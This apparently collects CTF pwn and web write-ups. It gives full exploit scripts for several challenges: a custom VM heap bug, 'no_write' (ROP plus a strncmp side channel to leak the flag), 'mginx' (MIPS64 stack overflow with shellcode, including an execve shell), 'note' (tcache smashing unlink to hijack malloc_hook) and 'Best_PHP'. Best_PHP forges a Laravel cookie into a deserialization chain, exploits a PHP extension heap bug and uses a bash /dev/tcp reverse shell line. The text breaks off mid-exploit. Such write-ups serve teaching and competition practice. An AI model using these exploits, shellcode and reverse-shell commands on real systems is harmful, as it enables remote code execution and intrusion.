from pwn import *

context.arch="amd64"

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def push_code(code):
    padding = 0 if (len(code)%8 == 0) else 8 - (len(code)%8)
    c = code+p8(instr["nop"])*padding   # align 8
    push_count = len(c)/8
    sc = (p8(instr["push"])+p8(1)+p64(0x21))*(0xf6-push_count)
    for i in range(push_count-1,-1,-1):
        sc += p8(instr["push"])+p8(1)+p64(u64(c[i*8:i*8+8]))
    return sc


def main(host,port=6001):
    global p
    if host:
        pass
    else:
        pass
        # debug(0x000000000000F66)
    flag = ''
    for i in range(0x40):
        p = remote(host,port)
        code = p8(instr["mov"])+p8(8)+p8(0)+p8(9)           # mov r0,rbp
        code += p8(instr["add"])+p8(1)+p8(1)+p64(0x701)     # add r1,0x701
        code += p8(instr["sub"])+p8(1)+p8(0)+p64(0x808)     # sub r0,0x800
        code += p8(instr["mov"])+p8(32)+p8(0)+p8(1)         # mov [r0],r1 ; overwrite chunk size
        code += p8(instr["alloc"])+p32(0x400)               # alloc(0x400) ; free chunk
        code += p8(instr["add"])+p8(1)+p8(0)+p64(8)         # add r0,0x8
        code += p8(instr["mov"])+p8(16)+p8(2)+p8(0)         # mov r2,[r0]
        code += p8(instr["sub"])+p8(1)+p8(2)+p64(0x3ec140)  # sub r2,0x3ec140 ; r2 --> libc_base
        code += p8(instr["mov"])+p8(8)+p8(3)+p8(2)          # mov r3,r2
        code += p8(instr["add"])+p8(1)+p8(3)+p64(libc.symbols["__free_hook"])       
                                                            # add r3,libc.symbols["__free_hook"]
        code += p8(instr["mov"])+p8(8)+p8(4)+p8(2)          # mov r4,r2
        code += p8(instr["add"])+p8(1)+p8(4)+p64(libc.symbols["setcontext"]+0x35)
                                                            # add r4,libc.symbols["setcontext"]+0x35
        code += p8(instr["mov"])+p8(32)+p8(3)+p8(4)         # mov [r3],r4 ; overwrite chunk size


        code += p8(instr["mov"])+p8(1)+p8(1)+p64(u64("/flag".ljust(8,"\x00")))
                                                            # mov r1,'/flag'
        code += p8(instr["mov"])+p8(32)+p8(0)+p8(1)         # mov [r0],r1 

        code += p8(instr["mov"])+p8(8)+p8(1)+p8(0)          # mov r1,r0
        code += p8(instr["add"])+p8(1)+p8(0)+p64(0x68)      # add r0,0x68
        code += p8(instr["mov"])+p8(32)+p8(0)+p8(1)         # mov [r0],r1   # rdi

        code += p8(instr["add"])+p8(1)+p8(0)+p64(0x10)      # add r0,0x10
        code += p8(instr["add"])+p8(1)+p8(1)+p64(0x300)     # add r1,0x300
        code += p8(instr["mov"])+p8(32)+p8(0)+p8(1)         # mov [r0],r1   # rbp


        code += p8(instr["add"])+p8(1)+p8(0)+p64(0x28)      # add r0,0x28
        code += p8(instr["add"])+p8(1)+p8(1)+p64(0xa8)      # add r1,0x200
        code += p8(instr["mov"])+p8(32)+p8(0)+p8(1)         # mov [r0],r1   # rsp

        code += p8(instr["add"])+p8(1)+p8(0)+p64(0x8)       # add r0,0x8
        code += p8(instr["mov"])+p8(8)+p8(3)+p8(2)          # mov r3,r2
        code += p8(instr["add"])+p8(1)+p8(3)+p64(0x439c8)   # add r3,offset
        code += p8(instr["mov"])+p8(32)+p8(0)+p8(3)         # mov [r0],r3   # rcx
        # 0x00000000000d3d8a: ret;
        # 0x00000000000a17e0: pop rdi; ret; 
        # 0x00000000001306d9: pop rdx; pop rsi; ret;
        # 0x00000000000439c8: pop rax; ret;
        # 0x00000000000d2975: syscall; ret;
        # 0x000000000002f128: mov rax, qword ptr [rsi + rax*8 + 0x80]; ret;
        # 0x000000000012188f: mov rdi, rax; mov eax, 0x3c; syscall;
        ret = 0x00000000000d3d8a
        p_rdi = 0x00000000000a17e0
        p_rdx_rsi = 0x00000000001306d9
        p_rax = 0x00000000000439c8
        syscall_ret = 0x00000000000d2975

        buf = 0x3ec000
        payload = [
            ret,p_rax,2,p_rdx_rsi,0,0,syscall_ret,
            p_rdi,0,p_rdx_rsi,0x80,buf,p_rax,0,syscall_ret,
            p_rax,0,p_rdx_rsi,0,buf-0x80+i,0x2f128,0x12188f
        ]

        code += p8(instr["mov"])+p8(8)+p8(0)+p8(1)          # mov r0,r1 

        for value in payload:
            if value < 0x100:
                code += p8(instr["mov"])+p8(1)+p8(1)+p64(value)     # mov r1,value
                code += p8(instr["mov"])+p8(32)+p8(0)+p8(1)         # mov [r0],r1
            else:           
                code += p8(instr["mov"])+p8(8)+p8(3)+p8(2)          # mov r3,r2
                code += p8(instr["add"])+p8(1)+p8(3)+p64(value)     # add r3,offset
                code += p8(instr["mov"])+p8(32)+p8(0)+p8(3)         # mov [r0],r3
            code += p8(instr["add"])+p8(1)+p8(0)+p64(0x8)           # add r0,0x8


        code += p8(instr["alloc"])+p32(0x200)               # alloc(0x200) ; trigger free
        code = push_code(code)

        p.recvuntil("code: ")
        p.send(code.ljust(0xf6d,p8(instr["nop"]))+p8(instr["jmp"])+p8(0xf1)+p8(instr["nop"])*0x90+'\xff')

        p.recvuntil("code: ")

        flag += chr(int(p.recv(),16))
        info(flag)

        p.close()

        # pause()

        if flag[-1] == '}':
            break;

if __name__ == "__main__":
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    # elf = ELF("./easy_printf",checksec=False)
    instr = {"add":0,"sub":1,"mul":2,"div":3,"mov":4,"jsr":5,"and":6,"xor":7,"or":8,"not":9,"push":10,"pop":11,"jmp":12,"alloc":13,"nop":14}
    main(args['REMOTE'])

no_write

程序只允许我们使用open,read,exit和exit_group系统调用,没有write,所以我们得找到一种方法来泄露flag

首先是没有了write系统调用,我们不能进行泄露,但是我们可以用这个gadget来获得我们想要的libc地址:

.text:00000000004005E8                 add     [rbp-3Dh], ebx
.text:00000000004005EB                 nop     dword ptr [rax+rax+00h]

rbp和ebx都是我们可控的

我们可以用栈迁移的方法把栈迁移到bss段上,接着调用__libc_start_main使得bss段上残留下libc的地址,再利用上述的gadget,我们就可以达到任意call的目的

现在的问题就是怎么泄露flag了,这里我给出的一种方法是利用strncmp函数来一个个的比较flag

具体思路如下:

  • 先open和read,把flag读取到bss段上
  • 再把我们要爆破的一个字符输入到bss段的末尾(0x601FFFF)
  • 接着调用strncmp(flag,0x601FFFF,2),如果我们上一步输入的字符和flag开头一样的话,程序就会segment fault,打远程的时候就表现为收到了EOF,因为strncmp正尝试读取0x602000处的内容
  • 如果比较不正确,程序可以继续运行下去,我们可以在使程序多调用几次read来读取我们的输入,以此来和比较正确的情况进行区分

exp:

from pwn import *
import string
context.arch='amd64'

def ret_csu(func,arg1=0,arg2=0,arg3=0):
    payload = ''
    payload += p64(0)+p64(1)+p64(func)
    payload += p64(arg1)+p64(arg2)+p64(arg3)+p64(0x000000000400750)+p64(0)
    return payload
def main(host,port=2333):
    # global p
    # if host:
        # p = remote(host,port)
    # else:
        # p = process("./no_write")
        # gdb.attach(p,"b* 0x0000000004006E6")
    # 0x0000000000400773 : pop rdi ; ret
    # 0x0000000000400771 : pop rsi ; pop r15 ; ret
    # .text:0000000000400544                 call    cs:__libc_start_main_ptr

    # .text:00000000004005E8                 add     [rbp-3Dh], ebx
    # .text:00000000004005EB                 nop     dword ptr [rax+rax+00h]
    # .text:00000000004005F0                 rep retn
    charset = '}{_'+string.digits+string.letters
    flag = ''
    for i in range(0x30):
        for j in charset:
            try:
                p = remote(host,6000)
                pppppp_ret = 0x00000000040076A
                read_got = 0x000000000600FD8
                call_libc_start_main = 0x000000000400544
                p_rdi = 0x0000000000400773
                p_rsi_r15 = 0x0000000000400771
                # 03:0018|  0x601318 -> 0x7f6352629d80 (initial) <-0x0
                offset = 0x267870 #initial - __strncmp_sse42
                readn = 0x0000000004006BF
                leave_tet = 0x00000000040070B
                payload = "A"*0x18+p64(pppppp_ret)+ret_csu(read_got,0,0x601350,0x400)
                payload += p64(0)+p64(0x6013f8)+p64(0)*4+p64(leave_tet)
                payload = payload.ljust(0x100,'\x00')
                p.send(payload)
                sleep(0.3)
                payload = "\x00"*(0x100-0x50)
                payload += p64(p_rdi)+p64(readn)+p64(call_libc_start_main)
                payload = payload.ljust(0x400,'\x00')
                p.send(payload)
                sleep(0.3)
                # 0x601318
                payload = p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
                payload += p64(0x601318+0x3D)+p64(0)*4+p64(0x4005E8)
                # 0x00000000000d2975: syscall; ret;
                # 02:0010|            0x601310 -> 0x7f61d00d8628 (__exit_funcs_lock) <- 0x0
                offset = 0x31dcb3 # __exit_funcs_lock - syscall
                payload += p64(pppppp_ret)+p64((0x100000000-offset)&0xffffffff)
                payload += p64(0x601310+0x3D)+p64(0)*4+p64(0x4005E8)
                payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601800,2)
                payload += p64(0)*6
                payload += p64(pppppp_ret)+ret_csu(0x601310,0x601350+0x3f8,0,0) #open flag
                payload += p64(0)*6
                payload += p64(pppppp_ret)+ret_csu(read_got,3,0x601800,0x100)   #read flag
                payload += p64(0)*6
                payload += p64(pppppp_ret)+ret_csu(read_got,0,0x601ff8,8)
                # now we can cmp the flag one_by_one
                payload += p64(0)*6 
                payload += p64(pppppp_ret)+ret_csu(0x601318,0x601800+i,0x601fff,2)
                payload += p64(0)*6
                for _ in range(4):
                    payload += p64(p_rdi)+p64(0x601700)+p64(p_rsi_r15)+p64(0x100)+p64(0)+p64(readn)

                payload = payload.ljust(0x3f8,'\x00')
                payload += "flag\x00\x00\x00\x00"
                p.send(payload)
                sleep(0.3)
                p.send("dd"+"d"*7+j)
                sleep(0.5)
                p.recv(timeout=0.5)
                p.send("A"*0x100)
                # info(j)
                p.close()
                # p.interactive()
            except EOFError:
                flag += j
                info(flag)
                if(j == '}'):
                    exit()
                p.close()
                # pause()
                break
if __name__ == "__main__":
    # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
    main(args["REMOTE"])

mginx

这题得给各位师傅道个歉,赛后我发现是可以getshell的,设置下execve的argv参数即可,比赛的时候说不能getshell导致做这题的师傅体验极其不好,实在是对不起各位师傅

mips64 大端序,没有去除符号表,打开Ghidra进行反编译,Ghidra反编译的结果还是相当可以的

程序逻辑也不是很复杂,就是一个超级简陋的http server,多调试调试就会发现下面代码里有一处栈溢出:

t3D0Df.png

这个sStack4280就是我们的Content-Length在加上body的长度,如果我们设置Content-Length为4095,body里在填入多个字节,那sStack4280就会超过0x1000,直接导致了栈溢出,以下是一个poc:

req = """GET /index \r
Connection: no\r
Content-Length: 4095
\r\n\r
"""
    req = req.ljust(0xf0,"A")
    # pause()
    p.send(req)

有了这个栈溢出,我们就可以劫持main函数的返回地址,程序没有开启PIE,而且数据段是可以执行的,但是远程的环境是开启了ASLR,所以我们得先绕过下ASLR

既然栈溢出了,首先想到的是ROP,但是这个程序没有多少可以用的gadget,所以ROP几乎不太行,可以考虑下栈迁移,我们先看下main函数返回时的几条指令:

t3yTIS.png

我们可以控制ra,s8和gp,但是要跳到哪里呢,这时候没啥好办法了,只能都试试,我选择跳到了:

t3yoa8.png

即开头处的那个read,我们可以把s8覆盖为数据段的地址,这样我们就可以把shellcode读入到data段,在利用main函数中的栈溢出把返回地址覆盖为数据段上shellcode的地址,这样我们不需要泄露任何地址就可以执行shellcode了

orw的exp:

#python exp.py REMOTE=124.156.129.96 DEBUG
from pwn import *
import sys

context.update(arch='mips',bits=64,endian="big")

def main(host,port=8888):
    global p
    if host:
        p = remote(host,port)
    else:
        # p = process(["qemu-mips64","-g","1234","./mginx"])
        p = process(["qemu-mips64","./mginx"])
        # gdb.attach(p)
        #
    req = """GET /index \r
Connection: no\r
Content-Length: 4095
\r\n\r
"""
    req = req.ljust(0xf0,"A")
    # pause()
    p.send(req)
    # pause()
    # orw
    sc = "\x3c\x0d\x2f\x66\x35\xad\x6c\x61\xaf\xad\xff\xf8\x3c\x0d\x67\x00\xaf\xad\xff\xfc\x67\xa4\xff\xf8\x34\x05\xff\xff\x00\xa0\x28\x2a\x34\x02\x13\x8a\x01\x01\x01\x0c"
    sc += "\x00\x40\x20\x25\x24\x06\x01\x00\x67\xa5\xff\x00\x34\x02\x13\x88\x01\x01\x01\x0c"
    sc += "\x24\x04\x00\x01\x34\x02\x13\x89\x01\x01\x01\x0c"

    payload = "A"*0xf30
    payload += p64(0x000000012001a250)+p64(0x000000120012400)
    # remain 0x179 byte

    payload += p64(0x1200018c4)+"D"*(0x179-8)
    p.send(payload)
    p.recvuntil("404 Not Found :(",timeout=1)

    # pause()


    req = """GET /index \r
Connection: no\r
Content-Length: 4095
\r\n\r
"""
    req = req.ljust(0xf0,"\x00")
    p.send(req)
    # pause()
    payload = "\x00"*0xa88
    # fix the chunk
    payload += p64(0) + p64(21)
    payload += "\x00"*(0xf40-0xa98)
    # remain 0x179 byte

    payload += p64(0x00000001200134c0)
    payload += "\x00"*0x20+sc+"\x00"*(0x179-0x28-len(sc))

    p.send(payload)
    try:
        p.recvuntil("404 Not Found :(",timeout=1)
        flag = p.recvuntil("}",timeout=1)
        if flag != '' :
            info(flag)
            pause()
    except:
        p.close()
        return
    p.close()

if __name__ == "__main__":
    for i in range(200):
        try:
            main(args['REMOTE'])
        except:
            continue           

PS: 由于远程环境问题,得多跑几次脚本,不过几十次差不多了

结果:

t81MpF.png

getshell的exp:

from pwn import *
import sys

context.update(arch='mips',bits=64,endian="big")

def main(host,port=8888):
    global p
    if host:
        p = remote(host,port)
    else:
        # p = process(["qemu-mips64","-g","1234","./mginx"])
        p = process(["qemu-mips64","./mginx"])
        # gdb.attach(p)
        #

    req = """GET /index \r
Connection: no\r
Content-Length: 4095
\r\n\r
"""
    req = req.ljust(0xf0,"A")

    p.send(req)
    # pause()

    # getshell
    sc = "\x03\xa0\x28\x25\x64\xa5\xf3\x40"
    sc +=  "\x3c\x0c\x2f\x2f\x35\x8c\x62\x69\xaf\xac\xff\xf4\x3c\x0d\x6e\x2f\x35\xad\x73\x68\xaf\xad\xff\xf8\xaf\xa0\xff\xfc\x67\xa4\xff\xf4\x28\x06\xff\xff\x24\x02\x13\xc1\x01\x01\x01\x0c"


    payload = "A"*0xf30
    payload += p64(0x000000012001a250)+p64(0x000000120012400)
    # remain 0x179 byte

    payload += p64(0x1200018c4)+"D"*(0x179-8)
    p.send(payload)
    p.recvuntil("404 Not Found :(",timeout=1)




    req = """GET /index \r
Connection: no\r
Content-Length: 4095
\r\n\r
"""
    req = req.ljust(0xf0,"\x00")
    p.send(req)

    payload = "\x00"*0x288
    # argv_ 0x0000000120012800
    argv_ = p64(0x120012820)+p64(0x120012828)+p64(0x120012830)+p64(0)
    argv_ += "sh".ljust(8,'\x00')
    argv_ += "-c".ljust(8,'\x00')
    argv_ += "/bin/sh".ljust(8,'\x00')
    payload += argv_
    payload += "\x00"*(0x800 - len(argv_))
    # fix the chunk
    payload += p64(0) + p64(21)
    payload += "\x00"*(0xf40-0xa98)
    # remain 0x179 byte

    payload += p64(0x00000001200134c0)

    payload += "\x00"*0x20+sc+"\x00"*(0x179-0x28-len(sc))

    p.send(payload)
    try:
        p.recvuntil("404 Not Found :(",timeout=1)
        p.sendline("echo dididididi")
        _ = p.recvuntil("didid",timeout=1)
        if _ != '':
            p.interactive()
    except:
        p.close()
        return
    p.close()


if __name__ == "__main__":
    for i in range(200):
        try:
            main(args['REMOTE'])
        except:
            continue
    # main(args['REMOTE'])

note

Step 1:get enough money

money初始值为0x996,size * 857 > money则⽆法申请,delete函数中有money += size的操作,所以

⾸先需要通过乘法溢出修改money的值为后续操作准备

Step 2:leak libc and heap

calloc函数申请 的是⼀个MMAP的chunk是不会执⾏memset清空操作的,⽽super_edit(choice 7)中是

存在堆溢出的,通过堆溢出修改mmap标志位为1 ,从⽽泄漏libc 和 heap

Step 3: tcache smashing unlink

通过edit函数中存在的off by null 实现unlink,进⽽tcache smashing unlink到malloc_hook上⽅,

super_buy(choice 6)会调⽤malloc,从⽽覆盖malloc_hook为onegadget

exp:

#coding:utf-8
from pwn import *
import hashlib
import sys,string

local = 1

# if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
    # context.log_level = 'debug'

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('./libc_debug.so',checksec=False)
one = [0xe237f,0xe2383,0xe2386,0x106ef8]

if local:
    p = process('./note_')

else:
    p = remote("124.156.135.103",6004)

def debug(addr=0,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        #print "breakpoint_addr --> " + hex(text_base + 0x202040)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr))) 

sd = lambda s:p.send(s)
rc = lambda s:p.recv(s)
sl = lambda s:p.sendline(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)


def info(name,addr):
    log.info(name + " --> %s",hex(addr))

def add(idx,size):
    sla("Choice: ",'1')
    sla("Index: ",str(idx))
    sla("Size: ",str(size))


def delete(idx):
    sla("Choice: ",'2')
    sla("Index: ",str(idx))

def show(idx):
    sla("Choice: ",'3')
    sla("Index: ",str(idx))

def edit(idx,data):
    sla("Choice: ",'4')
    sla("Index: ",str(idx))
    sla("Message: \n",data)

def super_edit(idx,data):
    sla("Choice: ",'7')
    sla("Index: ",str(idx))
    sda("Message: \n",data)

def get_money():
    sla("Choice: ",'1')
    sla("Index: ",str(0))
    sla("Size: ",'21524788884141834')
    delete(0)

def super_buy(data):
    sla("Choice: ",'6')
    sla("name: \n",data)


# get enough money
get_money()

# leak heap and libc address
add(0,0x80)
add(1,0x500)
add(2,0x80)
delete(1)

add(1,0x600) #now 0x510 in largebin

pay = 0x88*b'\x00' + p64(0x510+1+2)
super_edit(0,pay) # overwrite is_mmap flag 

add(3,0x500)

show(3)
rc(8)
# libc_base = u64(rc(8)) - 0x1eb010
libc_base = u64(rc(8)) - 0x1e50d0
heap_base = u64(rc(8)) - 0x320 



malloc_hook = libc_base + libc.symbols['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
realloc = libc_base + libc.symbols['realloc']
onegadget = libc_base + one[3]

# fill tcache 0x90
delete(0)
delete(1)
delete(2)
for i in range(5):
    add(0,0x80)
    delete(0)
# fill tcache 0x60
for i in range(5):
    add(0,0x50)
    delete(0)

# fill tcache 0x230
for i in range(7):
    add(0,0x220)
    delete(0)
# set a 0x60 to smallbin 
add(0,0x420)
add(1,0x10)
delete(0)
add(0,0x3c0)
add(2,0x60)

# null off by one to unlink
target = heap_base + 0x2220 #unlink target
pay = b''
pay += p64(0)
pay += p64(0x231)
pay += p64(target - 0x18)
pay += p64(target - 0x10)
pay += p64(target) #ptr
add(4,0x80)
edit(4,pay)

add(5,0x80)
edit(5,p64(heap_base+0x2190))

add(6,0x80)
add(7,0x80)

add(8,0x5f0) # will be freed and consolidate with topchunk
delete(7)
pay = 0x80*b'\x00' + p64(0x230)
add(7,0x88)
edit(7,pay)

delete(8) #unlink
add(8,0x220)
add(9,0x90)
delete(8)
add(8,0x1c0)
add(10,0x60)

pay = b'a'*0x20 + p64(0) + p64(0x61)
pay += p64(heap_base + 0x2090)
pay += p64(malloc_hook - 0x38)
edit(7,pay)
info("libc_base",libc_base)
info("heap_base",heap_base)

add(11,0x50)
pay = b'\x00'*0x20 + p64(onegadget) + p64(realloc+9)
super_buy(pay)

add(12,0x70)

p.interactive()

Best_PHP

Web 部分

  1. 注册后看 /home 提示访问 /file
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

class HomeController extends Controller
{
    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        $this->middleware('auth');
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Contracts\Support\Renderable
     */
    public function index()
    {
        return view('home');
    }

    public function file(Request $request)
    {
        $file = $request->get('file');

        if (!empty($file)) {
            if (stripos($file, 'storage') === false) {
                include $file;
            }
        } else {
            return highlight_file('../app/Http/Controllers/HomeController.php', true);
        }

    }

    public static function weak_func($code)
    {
        eval($code);
        // try try phpinfo();
        // scandir may help too
    }
}
  • ⽤ php 伪协议读 compose.json 发现有 passport,这个版本有反序列化
  • 在 config/auth.php 对 api 启⽤了 passport
  • pi 存在默认的 /api/user
  • 此处的 user 会调⽤ vendor/laravel/passport/src/Guards/TokenGuard.php
public function user(Request $request)
{
 if ($request->bearerToken()) {
 return $this->authenticateViaBearerToken($request);
 } elseif ($request->cookie(Passport::*cookie*())) {
 return $this->authenticateViaCookie($request);
 }
}
  • 这⾥如果没有提供 jwt header 则会尝试⽤ authenticateViaCookie
protected function authenticateViaCookie($request)
{
 try {
 $token = $this->decodeJwtTokenCookie($request);
 } catch (Exception $e) {
 return;
 }
 if (! Passport::*$ignoreCsrfToken* && (! $this->validCsrf($token, $request)
||
 time() >= $token['expiry'])) {
 return;
 }
 if ($user = $this->provider->retrieveById($token['sub'])) {
 return $user->withAccessToken(new TransientToken);
 }
}
  • decodeJwtTokenCookie 中调⽤ encryptor 的 decrypt,此处的 Passport::$unserializesCookies 为
    true,https://github.com/laravel/passport/commit/5b47613083da2c61227f83f86d5d93c678c5d7
    33,key 就是 APP_KEY
protected function decodeJwtTokenCookie($request)
{
 return (array) JWT::*decode*(
 $this->encrypter->decrypt($request->cookie(Passport::*cookie*()),
Passport::*$unserializesCookies*),
 $this->encrypter->getKey(), ['HS256']
 );
}
  • vendor/laravel/framework/src/Illuminate/Encryption/Encrypter.php,这⾥解密成功会
    unserialize
public function decrypt($payload, $unserialize = true)
{
 $payload = $this->getJsonPayload($payload);
 $iv = base64_decode($payload['iv']);
 $decrypted = \openssl_decrypt(
 $payload['value'], $this->cipher, $this->key, 0, $iv
 );
 if ($decrypted === false) {
 throw new DecryptException('Could not decrypt the data.');
 }
 return $unserialize ? unserialize($decrypted) : $decrypted;
}
  • read .env for APP_KEY

Laravel 5.6.38 exists known unserialize pop chain https://www.anquanke.com/post/id/184541

According to the Pop chain , exploit it by using HomeController::weak_func

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import base64
import hashlib
import hmac
import json
# pip install urllib3
from urllib.parse import unquote, quote
# pip install pycrypto
from Crypto import Random
from Crypto.Cipher import AES
def padding(s):
 bs = AES.block_size
 return s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
def unpadding(s):
 return s[:-ord(s[len(s)-1:])]
def hash_hmac(algo, data, key):
 res = hmac.new(key, data, algo).hexdigest()
 return res
def encrypt(raw, key, iv=None):
 raw = padding(raw)
 if not iv:
 iv = Random.new().read(AES.block_size)
 cipher = AES.new(key, AES.MODE_CBC, iv)
 return base64.b64encode(cipher.encrypt(raw)), base64.b64encode(iv)
def decrypt(enc, key, iv):
 enc = base64.b64decode(enc)
 iv = base64.b64decode(iv)
 cipher = AES.new(key, AES.MODE_CBC, iv)
 return unpadding(cipher.decrypt(enc)).decode('utf-8')
def gen_laravel_token(data):
 key = base64.b64decode(APP_KEY[7:])
 iv = base64.b64decode("b2NoESUwLJAEO0f0hcR6EA==")
 enc, iv = encrypt(data, key, iv)
 _data = iv + enc
 mac = hash_hmac("sha256", _data, key)
 if isinstance(iv, bytes):
 iv = iv.decode('utf-8')
 if isinstance(enc, bytes):
 enc = enc.decode("utf-8")
 output = {
 "iv": iv,
 "value": enc,
 "mac": mac
 }
 return base64.b64encode(json.dumps(output).encode())
APP_KEY = 'base64:Q2f3qQRCa3aShSORWj++xYOqgiYpTSBVKqJHPq1DSvI='
key = base64.b64decode(APP_KEY[7:])
php_command='App\Http\Controllers\HomeController::weak_func'
exp1 = '''O:40:"Illuminate\Broadcasting\PendingBroadcast":2:
{{s:9:"\x00*\x00events";O:15:"Faker\Generator":1:
{{s:13:"\x00*\x00formatters";a:1:{{s:8:"dispatch";s:{num_php_cmd}:"
{php_cmd}";}}}}s:8:"\x00*\x00event";s:{num}:"{cmd}";}}'''
cmd = 'phpinfo();'
data = exp1.format(num_php_cmd=len(php_command), php_cmd=php_command,
num=len(cmd), cmd=cmd)
laravel_token = gen_laravel_token(data)
print(laravel_token)
  • 将 laravel_token 值作为 Cookie 的 laravel_token,访问 /api/user
GET /api/user HTTP/1.1
Host: localhost:80
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: application/json
Cookie:
laravel_token=eyJpdiI6ICJiMk5vRVNVd0xKQUVPMGYwaGNSNkVBPT0iLCAidmFsdWUiOiAiQml0Z
UU4ZGlkZTNNc0hpeUJKT3Nib1RaYVQxbDFKallZWk9BbjV5T21uSFlwR0FMelB4N09kVFlNRXlGSkJ6
Rk1LOGFjUTU5c0JlaENLbWs1V0FCaTZBZnoxcHU4c3lDV2RlVUYreS9uNFhVWitOcm5zSHZUSGdnbzh
0TDh4UzQweXcxRmJ6ZzNTNkowZmY5dU5SUW56S2IvTVJKdktJblJzT1RCenM5R2RhWlBkTU9qNDQzZW
YydnYvUy81L1pWK3dGckVGRmNaalN4T2Z0bG5yV25BRHRWakh2U2o0V3hMdTd1MmE4a0crb29PTC81Y
UR0eDRwSm9DdVFsSWtKVEtPd1c1YkY2cHFMUG9LNytZM3lvalU3WVRPWHlneFQ2WC8wSGZtd0ZBTHNi
bEdvV0l0NytoQ0JNaWNVeTF0U3EiLCAibWFjIjogIjYwNjM5ODVlMTM5NDMzZWRmYjY2ODg3YWU3YTM
5ZjE0ZWMyMTY1MzU2ZjYxOWZjOTdhODBkOWJjYTI1MzAwYmIifQ==
Cache-Control: no-cache

In phpinfo ,we can find my_ext extension

scandir('..')发现php-my_ext-so-is-here-go-for-it

array(26) {
  [0]=>
  string(1) "."
  [1]=>
  string(2) ".."
  [2]=>
  string(13) ".editorconfig"
  [3]=>
  string(4) ".env"
  [4]=>
  string(12) ".env.example"
  [5]=>
  string(14) ".gitattributes"
  [6]=>
  string(10) ".gitignore"
  [7]=>
  string(10) "Dockerfile"
  [8]=>
  string(3) "app"
  [9]=>
  string(7) "artisan"
  [10]=>
  string(9) "bootstrap"
  [11]=>
  string(13) "composer.json"
  [12]=>
  string(13) "composer.lock"
  [13]=>
  string(6) "config"
  [14]=>
  string(8) "database"
  [15]=>
  string(12) "package.json"
  [16]=>
  string(31) "php-my_ext-so-is-here-go-for-it"
  [17]=>
  string(11) "phpunit.xml"
  [18]=>
  string(6) "public"
  [19]=>
  string(9) "resources"
  [20]=>
  string(6) "routes"
  [21]=>
  string(10) "server.php"
  [22]=>
  string(7) "storage"
  [23]=>
  string(5) "tests"
  [24]=>
  string(6) "vendor"
  [25]=>
  string(14) "webpack.mix.js"
}
  • 其中,可以从 Dockerfile 获取到 container 的 base 为 ubuntu:18.04
  • 进⼀步 scandir 发现 php-my_ext-so-is-here-go-for-it 中有 my_ext.so
  • ⽤ file 取得 my_ext.so 内容进⾏分析,进⼊⼆进制部分

pwn部分

因为有php代码的执⾏权限。所以分析扩展库中的函数,看⼀下有什么漏洞。
IDA直接搜索zif开头的函数名就可以找到⾃定义的扩展函数:

每个都打开看⼀看,很容易理解代码逻辑,其实就是菜单堆类型的pwn题⽬,功能⻬全。
只不过放到了php库⾥,需要写出php的exp来和服务端产⽣交互。
backdoor函数中,只要让__realloc_hook为⼀个固定值,那么就可以system执⾏任意代码
ttF3uV.png

所以就要找到漏洞实现任意地址分配。漏洞发⽣在ttt_edit⾥,strcpy会造成末尾添\x00,产⽣off-by-null的问题:
ttFGHU.png

然后做在1804下的off-by-null布局来进⾏libc的泄漏和任意地址的分配即可,这个都是基本套路,只不
过换到了php中,可能需要研究⼀下交互怎么做。
这⾥在利⽤的时候有⼏个需要注意的地⽅:
– 题⽬的环境是部署在apache上的,所以堆⻛⽔会有问题,也就是在我们执⾏我们的malloc之前,
arena⾥⾯已经放了不知道多少的各种各样的堆块。当然,题⽬的ttt_alloc⾥给的条换很宽松,所
以我们可以多次申请⼩堆块,来清除掉arena⾥的碎⽚。
– 漏洞是通过strcpy触发的,所以字符串不可以填\x00,那么写到想利⽤的位置,如改写size之后,
就会对其前⾯的内容进⾏破坏。所以不要忘记需要对它地址前⾯破坏的内容⽤strcpy进⾏不断的修
复,⽐如对prev_size的处理。
– 最后system执⾏的函数,这条命令是在服务端执⾏的,不同于我们做pwn的时候,不会直接把回
显弹给我们,所以这⾥需要执⾏反弹shell到vps上来进⾏最后的getshell。
– “bash -c ‘bash -i >/dev/tcp/{vps_ip}/{vps_port} 0>&1′”

exp:

<?php
function unpack64(&$str){
 $pad = str_pad($str, 8, "\x00", STR_PAD_RIGHT);
 $address = 0;
 for($i=7; $i>=0; $i--){
 $address |= ord($pad[$i]);
 if($i != 0)
 $address <<= 8;
 }
 return $address;
}
function pack64($numb){
 $str = "";
 while($numb !=0 ){
 $str = $str.chr($numb&0xff);
 $numb >>= 8;
 }
 $str = str_pad($str, 8, "\x00", STR_PAD_RIGHT);
 return $str;
}
# help
# ttt_hint();
# clear fengshui
for($i=0; $i<500; $i++)
 ttt_alloc(0, 0x8);
for($i=0; $i<10; $i++)
 ttt_alloc(0, 0xf8);
# exploit
ttt_alloc(0, 0xf8);
ttt_alloc(1, 0x28);
ttt_alloc(2, 0x28);
# tcache
for($i=3; $i<10; $i++)
 ttt_alloc($i, 0xf8);
ttt_alloc(10, 0x18);
ttt_alloc(11, 0xf8);
ttt_alloc(12, 0x20);
# fill in tcache
for($i=3; $i<10; $i++)
 ttt_free($i);
# off by null next chunk size
# a fake prev_size
for($i=7; $i>0; $i--){
